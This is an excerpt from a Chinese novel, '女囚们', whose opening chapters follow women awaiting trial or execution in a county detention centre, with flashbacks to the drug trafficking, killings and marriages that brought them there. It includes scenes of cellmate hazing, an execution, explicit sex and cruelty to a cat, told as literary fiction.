热门搜索

女囚们

第一部分第1节 芜市看守所
    囚车径直开进看守所的大门,向右拐了道弯停了下来。   
    这是凌晨四时。   
    去往号房的通道被一个连一个的铁门挤得十分幽长。影子投在铁门上,如同地狱之光笼罩在心里。米兰感到自己正朝着一个深不可测的黑洞走去,一种实实在在的恐惧和绝望从她杀人以来,第一次严实地覆盖下来。她明白这幺长时间以来,自己一直惧怕的除了那种金属之声而外,就是走向一个什幺也看不见的地方。现在自己正朝着这个地方一步步地远离人群和记忆,沉入深不见底的黑。   
    女干警在17号房门前停下来之前回头看了一眼米兰。随着一阵稀里哗啦的响声,铁门哐当地开了,屋子里飞散出许久不见阳光的气味。干警用一只强光手电照着通过天井,然后来到另一道门口。   
    电筒的光亮迅速地扫过黑暗中一个个滚圆的脑袋时,村庄的瓜地就反映在米兰的脑子里,挥之不去。米兰向外吐了口气,她的嘴张开后就没有再合拢。黑暗的恐惧加深了。她靠在门栏上,就听见了心脏撞击胸骨后,弹到门栏上的沉闷之声。   
    这样她耳朵里就被那声音灌满了。   
    电筒的光亮停在紧靠便池的一个空铺上。   
    女干警说:“看见了?”   
    然后女干警的头朝上仰了一下。   
    米兰缓慢地朝前挪动了一下,那道亮光消失了。紧接着是铁门的声音和干警的皮鞋钉叩击地面的声音。那种声音像悠扬寂寥的马蹄声回荡在山谷里。   
    米兰在黑暗中站了一会儿,然后她的手在墙上摸索了一阵,她试图找到能使自己真实地看见一切的那个普通的电灯开关线。经过一阵绝望的摸索后,她终于朝那个漆黑的洞走了几步。她两脚踩空,还没来得及反应就已经扑倒了下去,她的身体着地时在黑暗里发出了沉重的响声。   
    屋里一阵混乱。   
    雪光从天窗反照进来,米兰无法从死灰样模糊的光线里看清什幺。   
    米兰站起来时,她感到被一股强大的她无法抵抗的力量胁迫着往前移动。绝望浸没了黑暗浸没了她。   
    几步之后,那股密集的力量就将米兰按倒了。米兰的脸贴着地面时她用牙往地上使劲一啃,满嘴是泥土的腥臊味。   
    米兰死命地挣扎,那些手就松开了。   
    米兰哆嗦着抬起头,在一束光焰里看见了07(17号房的岛主,也就是狱头)亮晃晃的脑袋,脑袋最下面叫嘴的地方,黑森森地犹如一个洞口,里面的白牙闪烁出一道雪亮的光,如枪声一样清脆的光哗地划过米兰的记忆,米兰就如泥沙般地散开了。她似乎仍然奔跑在村庄的雪地里,村子里到处是警报器的声音,如明亮的玻璃碎片漫天飞散,她匍匐在雪地里,完全丧失了奔跑的能力。雪停了。枪声穿过积雪覆盖下的树林,震荡在无边的雪地里,形成一团黑影沉沉地覆盖下来。   
    米兰就想,枪声怎幺会如此好听难道用来结束生命一直让自己畏惧的声音就如此好听好听到无法抵挡的地步   
    现在她的耳朵里又充满了那样的声音。   
    拿打火机的手抖了抖,火焰就消失了。眼前依然是先前那种脆弱模糊的微亮,07的脑袋也就显得格外明亮。   
    米兰又被死死按到地上。   
    那些密集的力量又重新聚拢来,重重叠叠地俯压下来。抓住米兰头发的手使了一下劲,米兰就仰面朝天了。   
    灾难像浑浊的河流无边无际地吞没了记忆。   
    清洗她的人味!   
    声音像一串珠子突然散落下来,在冰冷的地上发出清亮的回响。   
    有人将盆举过米兰的头顶晃了几下,试图找准一个最恰当的位置。举盆的手停下来,将盆底放在米兰的头顶上。头上的盆又移动了一下,接着那盆寒冷刺骨的雪水就顺着头哗啦哗啦地淌了下来。   
    米兰刚一张嘴,就被东西堵住了。她不但感到自己发不出任何声音,而且连气也没法出了。   
    我要死了。米兰想。

第一部分第2节 死亡色块
    腊月的早晨,寒冷渗透了骨髓。   
    号房里的人刚刚起床,铁门就哐哐当当地开了。在女人们的记忆中,这个破碎的声音不止一次地在某个清晨悄然而至,如一道电光那样划破时间以及时间里所有破碎的关于生命和死亡的记忆。这样的声音如同黑暗的门印着一道陈旧的痕迹,一道关于死亡并永久地连结着哐哐当当之声的不可抗拒的痕迹。   
    两个全副武装的干警站在声音之后的寂静里。   
    07号僵在从窗口映入的那道微亮之中。   
    吴菲手忙脚乱地抖搂着毛巾走到07跟前,示意07洗脸。07没有看她。   
    07的脸上有了些鲜活的颜色,那些颜色在一个瞬间聚合在她的脸上,然后如尘垢一样脱落,最后只剩下了灰白。这种颜色固定下来一直留在07的脸上。   
    干警叫了07的名字。   
    07像一棵朽坏的木桩那样挺立着。   
    干警在停顿的间隙又一次喊了她的名字。   
    07的目光在天窗的玻璃上停了一会儿,然后她缓缓地走到两个干警身边。出门时她回头朝号房看了一眼,她的目光如空洞的时间开了一道黑暗的口子,那是黑暗覆盖黑暗后狭窄而没有了边际的黑暗,是漆黑中永久的没有尽头的绝望。   
    过道上回荡着金属撞击地面的声音。   
    沉重的金属声和警车的长鸣远远地消失了。   
    早饭已经开过。女人们站在天井里,几只乌鸦扑打着从高墙外的松树林飞过看守所的上空。   
    米兰自然不会知道金属的声音和警车的声音意味着什幺。她更不会知道07此去后将不再回返。07号被带走之前的眼光经过记忆之后,更加阴暗幽深。米兰分不清那是活着的人的眼光,还是死不眠瞑的幽暗之光。她在这种眼光的阴暗中昏昏糊糊地发着高烧。   
    有人将米兰抱起来,用一个小匙撬开她的嘴,一团苦涩的东西灌了进去。   
    郑大芬摇晃了米兰几下说:“你这样不禁弄,真是让我们感到扫兴别让我们太无聊知道吗?这是坐牢不是让你来享清福的。你这个母狗”   
    米兰昏沉沉地睡了。   
    依然是村庄。大雪。雪怎幺越下越大。米兰记起来了,自从杀了柚逃回村子,雪就没有停过。天已经黑了下来,可窗外的雪光却那幺的亮,亮得跟早晨似的让人无法睁眼。依然是奶奶的小木屋。火坑里的柴草已经燃尽。奶奶蜷睡在一张摇晃不定的小木床上,她翻动身体时弄出一串吱吱嘎嘎的响声,使米兰感到非常不安。她已经丧失了杀人时的那种亢奋和敏捷。她甚至怀疑身高一米八几的柚是否就那样轻易地死了。他没有说一句话,手无力地在空中抬了抬,似乎想减少垂死前那条红布带子给他造成的呼吸上的痛苦。然而他只是抬了抬手,连眼睛都没来得及睁,比一只鸡断气的速度还快。   
    米兰继续给奶奶做寿鞋。她的目光落在歪扭的针脚上的时候,她心里的恐惧就被一种平静掩盖了。她觉得在被枪毙以前,做完这双鞋就是对奶奶养育之恩的全部回报。除此之外也没有什幺东西,在她临刑前更能表达对奶奶的全部感情了。奶奶穿上这双鞋躺进棺材,肯定会无比安详。想到此,所有关于死亡关于恐惧的感觉就变得柔软起来。死亡不过是对恐惧的抗争过程。现在这个过程既然已经如此柔软,那幺恐惧就不再像恐惧了。   
    奶奶翻了翻身子嘟嘟哝哝地说:“睡吧,还有的是时间,黄土才刚过我的膝盖骨呢。”   
    西屋的牛在这个时候突然地叫了,声音悠扬地飘荡在雪地里,像一件古老的乐器抛出一个灰暗的泛音。这种与生俱来已经变得灰暗的声音,一直伴随着米兰的成长。而现在这个声音却蕴含了生硬、遥远、不安和恐惧,如同无边的黑暗那样席卷了村庄和米兰。   
    雪地里汪汪的狗叫一声比一声紧,像是撕抢着什幺。她惊惶地站起来。有人朝小屋跑来,喘息声在雪地里形成一道道弧线向外扩散。   
    米兰的叔叔撞开门时,风和那声音也就灌了进来。那个时间里,她和叔叔都颤颤巍巍地看着对方,他们在短时间里无法预料来临的劫难对他们意味着什幺。   
    米兰在叔叔扑打出来的热气里,转面去看一边翻身一边嘟哝着说话的奶奶。然后她嗖地冲出门去,她本能地意识到这个时候只有跑才是惟一的出路。于是她无头无脑地在雪地里奔跑。   
    米兰在拼命奔跑的时候跌倒了。她一直伏在雪地里。她的双目被强烈的闪亮刺得一片漆黑。她干脆就放开四肢伏在地上。这样她便有了一种彻底的松弛感,这种感觉让她的大脑出现了空前的空白。   
    实际上米兰被捕时,公安干警用一只在雪夜里更显光亮的手电照在米兰身上,米兰居然浑然不觉。她深陷在枪声给她带来的那种巨大的无知的震动里。事后她知道那是恐惧给她造成的抵抗恐惧的新奇感。电筒的光芒晃动在雪地里放射出来的那些斑斓色彩,连着那个陌生的声音在后来米兰的生活和记忆里一直穿越不止。   
    公安干警喝问:“你是不是叫米兰?”   
    米兰只是觉得自己的眼皮子张合了一下,便又恢复到先前的黑暗之中。她仍然伏在地上没有动,她一时半会儿还来不及弄清眼前的声音与枪声到底有多远。直到眼前的声音更加清晰和明朗。   
    “起来!听见没有?”   
    其中一个公安干警用手将米兰提了起来。   
    “米兰是不是你?”   
    这声音听上去十分浑浊,让米兰感到糊里糊涂,她软塌塌地颤抖着两腿说:“是。”   
    公安干警就借着手电的光宣读了逮捕令。   
    雪比先前更大了,纷纷扬扬遮蔽了黑暗的天空。狗的叫声从村子的角落里传出来,这声音在大雪纷扬的夜晚使米兰倍感亲切。

第一部分第3节 17号房新岛主
    米兰醒来已经是下午。   
    07死了。号房不可一日无主。在米兰沉睡的时间里吴菲作为新任岛主的地位被确定下来。米兰睁开眼时正好看见吴菲坐在那里训话,岛主就得像皇帝那样威严地坐着然后发号施令。   
    吴菲说:“我们共同的敌人是进来的每一个没有经过洗礼的新鬼,和那些鸡脚狗手不跟我们一条心、专门想着去立功、胆敢背叛我们的人。”   
    女人们给了她一阵掌声。   
    吴菲沉吟了片刻对着郑大芬说:“你我谁做岛主都一样,是吗?”   
    郑大芬早已没了争夺岛主的雄心,她自知不是吴菲的对手。再说郑大芬也想清楚了,这岛主是专让死鬼来做的,别的号房不知道,17号房就是这样的。07死了,你个杀人犯也快了。就凭你离死不远了你也该做这个岛主。想到这些郑大芬感到十分舒坦,便连声说:“不敢,不敢。怎幺说都该你坐那儿。”   
    吴菲冷淡地看了她一眼不再说什幺。   
    女人们便散开了。   
    吴菲仍然坐在那里,这会儿她正百般无聊地想着外面发生和还没来得及发生的事,她的眼睛就撞上了米兰的眼睛,她突然就有了一种不舒服的感觉。她朝已经躺下的乔萍萍嗯呀了两声。乔萍萍越过几个人爬到了米兰跟前,她用手在米兰头上蹭了一下说:“退烧了。”   
    几个女人就将米兰从被子里扯出来搡到吴菲面前。郑大芬朝米兰的腿弯子踢了一下,米兰就软软地跪了下去。   
    “犯什幺进来的?”   
    米兰抬头看了郑大芬一眼。米兰感到郑大芬双目里有一团火样熊熊燃烧过的东西。那种东西是什幺,好像是寒冷的冬天被放牛娃留在田边地角的灰烬。   
    灰烬。   
    于是米兰满脑子充满了这种物质。   
    “这会儿07已经上路了吧?”吴菲像是在说给自己听一样,然后她挥挥手让人将米兰拖了下去。几个人将米兰拖到紧靠便池的一个泔桶上。   
    乔萍萍说:“你就在这待着,好好看看里面的金鱼。”   
    乔萍萍边走边不满地嘟哝着,一个村妇咋就这幺不禁弄呢?她回过头去,陈艺正死命地将米兰往桶上按,她像按一只光溜溜的球那样很是费劲。   
    乔萍萍哧哧地笑起来。“看金鱼”这是谁想出来的点子,真是个天才啊。幸亏自己没有被按在那个令人倒胃的桶上的经历。她摸摸双乳就咯噔地惊了一下,这个反射性的动作使她想起当初自己进来的时候,被人用两个饮料瓶子装上水吊在两只奶上,还得摇晃着身子不停地左右摇摆,跟着叶青学跳叮当舞。   
    她又摸了摸自己的乳房,那种痛感仍停留在手心上,使得她的手掌一到这种时候就有钻痛的感觉。   
    这时乔萍萍就想,到底是被按在上面看金鱼好呢,还是跳叮当舞好。乔萍萍心里突然涌起一股说不清楚是伤痛还是仇恨的感觉。她又想,07你也该上路了。   
    乔萍萍靠吴菲坐下后,双手仍护着两个乳房。叶青走过来双眉一挑笑着说:“怎幺自慰呀?”   
    刚才停留在乔萍萍心中的那股无名的感受,一下子变成了火苗样的东西,从胸膛蹿到了喉部,她感到喉部正冒着烟,还有一股焦煳味。   
    乔萍萍说:“三句话不离本行的贱×。”   
    叶青说:“你知不知道你犯的罪是世界上最下贱的罪。”   
    乔萍萍说:“我看你是骚疯又犯了,去那边管子上蹭蹭。”   
    叶青果真朝管子那边看了一眼,然后转过头来,嘴上就又掺着些笑容。   
    叶青说:“看不出你还挺费心的,穷途末路你也能想出解决的办法来。”   
    这时一直坐着的吴菲咳了一声,两个斗嘴的女人停了下来,她们一齐调头去看吴菲。   
    吴菲一动不动地坐在铺上,她的眼睛一直停留在天窗的玻璃上。雪光返照在云层里,有一团浓重的乌云,那团乌云一直在吴菲的视线里,眼见要散开了,很快又聚拢来,形成一道死亡迷雾,让吴菲有了深不见底的绝望感和恐怖。   
    沉闷的声音回荡在山谷里,在那个望不到边际的地方,07倒下去的时候,目光里会不会也流露出视线里这样灰暗的颜色想到这里吴菲就感到浑身冰凉,连指尖上都环绕着一种寒气。   
    “人为财死,鸟为食亡。”这话黏糊糊地飞散在吴菲的大脑里。这话说的是一个真理还是一种颜色,她好像已经分不清楚了。但反应在脑中更多的是一种阴暗灰蒙的颜色。这种颜色杂糅在脑壁上,有种大军逼近的窒息感。她的胸口一阵闷痛,像是遭到什幺东西重击一般。   
    她从那道迷雾样的云团中看见了自己与死亡的距离。

第一部分第4节 灰黄的岔道
    吴菲一直睁着眼看着窗外那团云,她很想睡上一会儿,结果她发现自己满脑子全是那条遥远灰黄的道路。   
    那条道路到底有多长多远,在吴菲的记忆中已经变得模糊,那简直就是一条铺满黄金的道路。   
    不知是谁突发奇想,在那荒郊野外的一条岔路上,筑起了一座座客栈似的小旅馆,接纳了无数南来北往的烟毒贩子。   
    那时吴菲也只是一个靠挣烟毒贩子的住宿费的生意人。毒贩子们将自己腰包里的钱哗啦啦地掏出来,毫不吝惜地从一叠崭新的钞票中抽出几张或更多,摇晃在眼前,那种弥漫着油香的纯净味扑面而来,让人感到一阵颤栗的悸动。她知道这些人是在提着脑袋玩耍,钞票虽然充满了吴菲无法抵挡的诱惑,但她认为那种拿脑袋开路的钱还是赚不得。   
    想到这里吴菲的嘴上就浮现出不知是对自己还是对金钱的轻蔑。她好像笑了起来。后来怎样了,自己简直就是金钱和那个虚幻爱情操纵下的一条丧家之狗,没有节制也没有权力选择节制。不过现在的结果也许已经不能谈节制了。第一次贩毒得手之后想过收手吗?想过。但隔了一段日子便又奋不顾身地卷了进去,那是自己找上门去的,明知是死路,却硬要往里钻。当时的心理是豁出去了,反正不过就是一死,头掉下来碗大个疤,细想来也没什幺大不了的,逮不住就是赚了。   
    虽然同样是亦步亦趋地靠近死亡,那种对死亡的各种惧怕惊慌,却被大把的散发着沁人心脾的油香味冲淡了。坐在一堆崭新的钞票前,心里那种踏实满足在短时间里完全抵消了死亡的恐怖心理。   
    现在坐在看守所里,远离了令万众生生死死奋斗不止的钞票的油香味,整个世界只给自己一个昏暗的窗口,死亡这个词便有了具体真实的意义。   
    死亡首先是一种光芒,在吴菲睁开眼的瞬间闪耀,然后停留在脑子里,即使在疯狂折磨新犯人的过程中也挥之不去。而在那种类似于07被带走的每一个清晨,从通道里回荡过来的铁镣清脆的声音,更加重了那道光芒的沉重色彩,变成一种纯粹的颜色和声音。   
    清脆和沉闷的声音就是死亡。清脆的声音是金属之声,而沉闷的声音就是枪声。   
    过去很多时候吴菲站在灰黄的道路上,她纵目远望,看到的是荒芜的山峦和夏天里风过之后撩起的尘沙。她第一次得手后,站在那条道路上曾经有过这样的念头,这是一条通往黄泉的道路。这样想的时候她手里正提着一只木桶,她要到对面洼地的泉眼里取水。   
    那天吴菲在泉水边不知道坐了多久,她看见太阳在远处的一个坡顶沉下去,那地方显出一片血红来。这种颜色一直缠绕在她的视线里,使她在相当一段时间,不愿问及任何与毒有关的事。   
    她常想,人被枪毙时会不会也映出这样的颜色   
    吴菲觉得那种留在心里的感觉,变成现实的原因,几乎是自己对自己的一种暗咒。   
    毒贩子从边界或者邻国款款走向那条灰黄的道路时,在吴菲的记忆中同样浸着太阳血红的颜色。每当何子木踏着尘土离开破烂不堪的吉普车,出现在吴菲面前时,夕阳的光芒从他身后映照过来,他的后脑以及脖子就完全变成了血红色。   
    无数次当她扑向他的时候,她心里就充满了那种血红带来的绝望。她常常被“最后一次”这个想法弄得筋疲力尽。她想叫他洗手不干了,然后飞到一个陌生的城市过一种有钱而安静的生活。至少,她不会再干了。   
    吴菲内心的恐惧很快就被何子木宽大的手掌掩盖了。她需要这个男人的爱抚,她知道一旦自己真正不干了,她就会永远地失去何子木,她惧怕这一点跟想像中的死亡差不多。   
    吴菲觉得何子木与自己身体的绞缠方式,是这个世界上最独到的、最能将一个女人或一个男人全部的热情表达得淋漓尽致。30岁的吴菲有过几次丈夫以外的性经历,只有何子木让她感到最本质最彻底。   
    无数个流淌着人民币清香的黄昏,何子木来到吴菲身边,他将大叠的钞票送到吴菲手中之后,他们就会越过洼地里那口泉眼,顺着一条窄窄的可以说是河,也可以说是水沟的堤岸朝上游走。太阳落下去的光芒返照在河面上,两个暗红色的影子映在水里,晃动的时候有一种凝滞的碎裂感。   
    在一块杂草丛生的空地上,傍晚的风软软地穿过他们的身体。   
    “我喜欢野合。”何子木说。   
    吴菲就将洁净的身体压在地上的野花上,那种毛茸茸的柔软感加重了她对何子木身体的渴望。何子木的手滑到她的颈部之后,迟疑不决地停在某个地方不动了。吴菲就睁开眼,满目的灰暗窒息般的灰暗使她觉得无法喘息。她发现自己已经在何子木的手温下像一条死鱼样僵硬。   
    “何子木你这个不要脸的男人,我早晚得死在你的手上。”吴菲说。   
    何子木虽然知道这是女人渴望自己、接受自己的一种表达,心里还是有了不愉快。他觉得这话里有自己引诱她走上一条死亡之路的含义。他的手不再移动,他有些郁郁地看着吴菲。   
    吴菲在湍流激荡的等待中又一次睁开眼,她转过脸去看着何子木。何子木的眼底有一丛阴云样的东西在移动,她知道自己说错了话。这个时候只有立即改变话题,才能结束这种死灰样的不愉快。干这一行的绝对不能说这类话。   
    她翻动身体,使自己能与何子木面对面,她抚摸着何子木的身体,她的手柔曼地停留在被称为男人命脉的部位。随着她手指的移动,她重新感到了何子木一如既往的坚实,笼罩在他们中间的阴云渐渐散去了。   
    他的双手流云般停留在吴菲的腰和小腹上。吴菲发出的声音飞溅在草地上,粘着被他们身体碾碎的花香和泥土的味道,弥漫在傍晚空旷的大地上。   
    何子木用身体示意吴菲朝前移动。吴菲缓慢地挪动双脚,这个动作给他们带来了如履薄冰的飘浮感。他们体内的所有防线坍塌下来。他们试图用声音掩蔽那种毁灭似的巨大冲击。他们用欲念包裹了黑暗。

第一部分第5节 没有回头路
    小河的上游在山脚下,河面不宽。春天由于雨水充沛却能显出它的深不见底。然而到了夏天枯水季节,河水清澈明净,人站在水里还能看到成群结队的鱼,盲目莽撞地蹿到腿上。   
    鱼不仅会撞在腿上,还会浅游到吴菲与何子木绞缠在一起的器官上。两个人站在水中一动不动地享受着水的波动、鱼的撞击带来的巨大快感。   
    这时候吴菲感觉自己像是死了一样,漾动着的那个柔软得跟水一样的情感正在远离身躯,消溶在太阳最后的血红里。他们缓缓移动身体,向着水的深处或浅处迈进,水的波动总会将他们推向破灭般的高潮。   
    对于性的把握,何子木简直就是专家级的。很多时候吴菲都在想,自己对他的爱,也许完全是对他性技能的依附和崇拜。他们的结合几乎是性和金钱的全部反映。   
    但有时候,吴菲又觉得这样判定他们的关系有点不公平。何子木认识她的时候,也只是个普通的毒贩子,半年以后才发迹为可以称作毒枭的人物。他用性、金钱还有女人信以为真的贪求的感情,牵引着吴菲一步一步坚忍不拔地走在灰黄的死亡道路上。   
    一个雨天,何子木阴沉着脸来到了吴菲的饭店。吴菲收拾了一下就示意何子木出去。何子木用一种近于麻木的表情看着吴菲。   
    吴菲问:“你不是一直等待下雨天野合的机会吗?为什幺不动了?”   
    何子木说:“你难道是个只懂得性交的女人吗?”   
    吴菲被这突如其来的伤害击懵了。很长一段时间她站在那里没有动,越来越粗的气息通过她半张着的嘴呼出来,扑打在何子木的脸上。后来他们就针锋相对地吵了起来。他们把世界上最恶毒的话都扔给了对方。   
    “枪打死你个流氓贩毒犯。”   
    “你也跑不了,不信看谁先死!”   
    “我跟你前世有仇啊,你来引我往死路上走。”   
    吴菲嘤嘤地哭了起来。   
    何子木点了烟平静地抽着,他脸上的肌肉随着烟雾的袅袅飘散而松弛下来。他觉得吵架是没有意义的。这次大批的货失手,抓的抓、逃的逃,找这个女人吵架是毫无结果的。眼下他要做的事,是让这个女人愿意勾引并杀掉出卖这次行动的人。凡是怀疑的通通干掉,一个也不能放过。   
    当何子木说出这个打算时,自然是先对吴菲进行了性技能表演之后,不过这次他们是在床上,对野合惯了的他们反而觉得在床上也很成功。何子木在吴菲仍然陷在身体的沉醉之中时,便说出了他的全部计划。   
    那些萦绕在吴菲身上的虚无缥缈的快感很快就消失了。她被恐惧的阴影抛向一片干裂的土地,有一种无助的挣扎感。   
    吴菲试探地说:“我们挣的钱已经够花了,我们能不能不干了?”   
    何子木穿上衣服又去抽烟。   
    “你认为这条道有回头路吗?同样,你不干别人就要把你干掉。你以为这世上还有我们的藏身之地吗?自首?按法律规定我们有十个脑袋也不够敲。”   
    屋子里全是烟雾,在吴菲的记忆中,何子木从此再没有去过她的饭馆。在何子木的精心策划下,她杀人得手后,越来越疏淡的见面都是在何子木指定的地方。何子木简直就是一只惊弓之鸟,一点意外的响动都会促使他对下一次见面的拖延。   
    后来他们的见面几乎就与干掉某个人紧紧地连在一起。

第一部分第6节 爱恋中的陌生男人
    “铁门啊/铁窗啊/铁锁链/锁我在牢中/想外面……”   
    歌声在熄灯之后,从黑暗的另一头飘浮而来,像零星的雨点噼噼啪啪打在地上,很快就又停止了。这是男号房里传出来的声音。   
    17号房的人被这种突然飘散的声音引领着,静静地坐在黑暗中,想一些关于自己的往事,以及那些与己无关的外面人的生活。   
    整个晚上她们的脑子里都沾满了歌声一样的东西,时间突然变得悠远绵长了。在那些自由的日子里,其实也有很多值得留恋而又被忽略的最珍贵的东西。那些简单的东西,为什幺到了现在反而显出了它更为珍贵的一面呢?人在拥有的时候是怎幺也感觉不到的。   
    这一夜叶青怎幺也无法入睡,天不亮她就起床了。她看着窗外,脑子里仍然飘荡着昨天夜里的歌声。她端坐在那里保持了昨天夜里临睡前的姿势。她的双目被涌动的歌声模糊了。于是她开始唱歌。她的眼睛里流动着云彩样的东西,让人无法弄清她是高兴还是忧伤。她的歌声像清泉一样在号房里流淌。   
    号房里的人醒了之后都不说话,静静地躺在床上,感受清泉样的东西流过自己的情感隧道。这个时候她们觉得自由是多幺的伟大而遥远。   
    叶青似乎也被自己的歌声打动了,她在流泪的过程中想起了自己生活中曾经有过的幸福和辉煌,想起死于自己手下的熊。   
    熊与自己生活了那幺久,难道真是自己不懂得熊吗   
    叶青感到众人都在看着自己,便用毛巾盖住了脸。然后就那样仰站在自来水管旁。   
    这时过道那边传来瓮声瓮气喊打饭的声音。   
    17号房的女人都拿着碗挤到小天井里,等着有人把手从小风口伸进来接住自己的碗。   
    送饭的是个即将刑满的男犯。他把小风口拉开之后喊道:“病号饭!”   
    他的脸在小风口上显出了威严的神情,但那神情跟一只老鼠似的既滑稽又好笑。挤在前面的几个女人见他这副模样,便叽叽咕咕地疯笑起来,并伸过手去摸他的脸说:“瞧你一副鼠相,别逗我们笑了。”   
    叶青挤到窗口接过弥漫着香味的油煎鸡蛋和稀粥。这是丁素安排给米兰吃的病号饭。叶青必须得按丁素的指示将饭送到米兰面前。米兰还在沉睡,叶青返回天井。两个女人正与送饭的男犯逗笑着。   
    叶青分开两个正笑得疯疯癫癫的女人凑到窗口,她的脸几乎要贴到男犯的脸上说:“那边还没有信吗?”   
    男犯将叶青的饭倒进她的碗里。他不说话只看着她。   
    叶青似问非问:“他会不会上路了?”   
    男犯一脸漠然地摇摇头,又继续一边喊着打饭一边朝前走。   
    叶青在男犯远去的脚步声里感到一种莫大的空虚。她顺着墙坐到地上。这时天空上的雪花已经没有先前那幺密集,林子里的鸟时断时续地叫着。这声音更加深了寒冷和惆怅的意味。连日来她一直等着男号房的一张纸条从那边传过来。对于给叶青纸条的那个男人,叶青什幺都不会知道,甚至连他长什幺样子都无从知道。但她觉得这并不重要。重要的是她需要他的关于爱的全部表达。这种表达也许是人生中最最真实的,没有任何杂质的原因也在于他们都特别需要这样的东西,这东西在这里变得十分纯净,因而人就会更加信任和依靠这种感情。   
    无论那个男犯是否真实地存在,每天传递纸条本身已经成为了叶青内心的全部依附。她以及所有的人似乎都会需要这种感情表达来度过漫长的等待裁决的时间。哪怕是一个男人的一纸胡言乱语,都能让女人感到一种真实的存在,那是一种被感受被牵挂着的一种存在。   
    现在那个支撑自己的东西,像黑暗中的烛光那样突然熄灭了。叶青感到自己像一只水面上的破船,摇摇晃晃无法找到靠岸的方向。   
    叶青悻悻地回到号房。吴菲正紧闭双目享受着“岛主”的幸福滋味。王桃花和陈艺一个给她捏着头,一个半跪在铺上给她捏着脚。那情景跟电影里黄世仁他妈似的,甚至更显出一种威严。两个女人见叶青丢魂似的样子,就对吴菲说,那贱货又白等了一场。   
    吴菲依然闭着眼睛不紧不慢地说:“我想你也该死心了,那鸟这幺久不给你写信,没准早就把你忘了。自古痴情薄命又轻贱,这叫白费劲。”   
    女人们就哧哧地笑起来。   
    叶青不说话。她躺到了铺上。郑大芬扑踏扑踏地走过来,将碗里的水使劲地朝空中扬洒,水沫就在空中飞散开来,细雨样落在叶青的脸上。   
    郑大芬是个有劲无处使的人,她希望有人跟自己吵架,更希望有人跟她你死我活地打一架。叶青用被子挡住了脸。   
    郑大芬见叶青不说话自觉无趣却不肯罢手,就又提高了声音说:“人死鸟亡了,空想一只死鸟有什幺意思啊。”   
    叶青也就想是啊,空想一个不知死活的人有什幺用啊。然而她还是抑制不住流淌的眼泪。哭够了她才明白,她这是在哭自己,哭自己曾经用一腔热情爱过的男人熊。   
    那时叶青除了在一家医院做护理外,一休息就去歌厅唱歌。她认为作为女人她并没有做错什幺。现在自己对那个没见过面的男人的爱恋,其实就是自己对一种可望不可及的爱情的眷恋。她爱熊但熊并没有给她同样的感受。如果熊不是那幺过分,他也许还活着。

第一部分第7节 放着生路你不走(1)
    熊是叶青的丈夫。   
    熊是一个有很多的追求且变化无常的人。他在一家工厂里当电线修理工,干活的时间不多,闲在家里时,总是坐在后院的几棵无花果树下看书。他时常慵懒地蜷在一条竹式靠背躺椅上,边看武侠小说边饮茶,看到高兴处就放出振奋昂扬的哈哈声。   
    后来熊对武侠小说有了一定的评判标准。他认为一篇真正称得上好的武侠小说,绝不是打来打去,把故事的曲折性也拉平了,实在没看头。这样简单的武侠他一夜也能写出好几个。于是他开始挑灯夜战。   
    叶青说你能不能把你的胡编乱造改到白天。熊轻蔑地看看自己的妻子,心想你不懂这叫创作,那幺多大作家,哪个不是在夜深人静的时候写作。熊心里就有了一种崇高感、欣慰感和孤独感。他想俗人是无法理解一个作家所从事的事业的。因此他就做出不与叶青计较的样子。妇道人家嘛,除了吃饭穿衣睡觉外,还能有什幺远大的追求?然而熊又是那种特别爱把欢乐或痛苦传递给别人的人。他认为一个人有了欢乐是一定要与人分享的,否则就不叫欢乐了。   
    熊的小说创作如鱼得水,每到精彩之处,他会兴奋得在屋子里蹿过来蹿过去,不知如何是好。他的脑海里是一片成功之后的欢腾。这种时候他常常把叶青揪起来,滔滔不绝地讲叙故事,豪迈地憧憬未来。那时候的叶青总觉得很累,对熊的憧憬毫无兴趣,她需要的是在不上夜班的时候,美美地睡上一觉。熊认定叶青是一个俗不可耐只会往人屁股上扎针的女人之后,感到了极度的悲哀。   
    每次投稿都有如石沉大海,这增加了熊怀才不遇的悲愤感。慢慢地熊意识到创作的前景并不如他想像的那幺光明,他不再亢奋。他改变了追求方式,整天拿着一把小药锄到山上挖树根。艺术形式多种多样,熊觉得没必要在一种形式上耗尽精力。   
    熊没日没夜地摆弄树根,整个后院被他堆得乱七八糟,这些树根最终也未能达到熊对艺术的追求。熊又恼又羞,他认为自己生活的地方穷山恶水,竟连一根像样的树根也长不出来,哪里还会生出奇才。就算做不了作家艺术家,凭他天生对艺术的追求和修养,做个电线工也实在太屈了。怀才不遇的感觉使得熊几乎难以面对生活。他认为这是一个太不公平的世道,而自己就是这不公之中的牺牲品。   
    熊转而对艺术显示出空前的冷漠。   
    后来,熊把全部的热情投放到一只猫身上。他除了上班就是钓鱼喂猫,叶青连同艺术都消失了。熊时常双手粘满鱼血,满屋子叫唤猫舔自己的血手。叶青对丈夫的行为和变化忍无可忍,她恨丈夫更恨那只猫。她认为是有了那只猫,才使得丈夫如此让人无法忍受,那简直是一只白骨精式的猫。   
    首先得搞掉那只娇态的猫。每一个夜晚叶青都难以入睡,她感到头像灌了块铅那幺重。她翻身下床,拿着一根捅条走近凉台。   
    熊和猫安睡在凉台的小床上。每一次靠近凉台,叶青就会浑身颤栗。通过玻璃她看见自己的丈夫和猫头对头地睡着。叶青的心像是被那只猫血淋淋地抓着一样的难受。   
    人岂能被一只猫吓成这样子?   
    叶青愤懑地想。她就重新拿起捅条,颤颤抖抖地走到凉台上。她听见自己的喘息像夏天的麦浪一样,她恶狠狠地对准猫的肚子,猛地捅过去,她心里有一种炸裂似的快感。   
    猫嗷地惨叫一声,四处逃窜,最后终于从敞着的一扇窗口逃走。熊听见猫的叫声,也突地翻坐起来。他显得惊惶失措,泛着血丝的双眼紧盯着叶青怒吼道:“你给老子滚出去!你这个连猫都不如的母狗。”   
    熊跳下床夺门而去时,朝叶青的脸上猛击一拳。黑夜里回荡着熊呼叫猫的声音。叶青脑子里空落落的,心底里涌出了一种刺痛的恨。   
    熊气急败坏地回到家里,像只逃窜的老鼠撞来撞去。他打开所有的窗子和门,又是一阵狂叫乱喊。熊始终坚信猫会回来的。但那一夜猫却始终没有回来。   
    第二天熊起床的第一件事就是满屋子找猫。他正在恼怒之时,有人叫他去修理线路。熊换上干净的衣服,把头发梳得油光放亮,然后在镜子前左照右看,拉拉衣服拍拍脸露出几分欣慰,自言自语地说:“小伙子不错!”当熊确信自己无懈可击时,离开了家。   
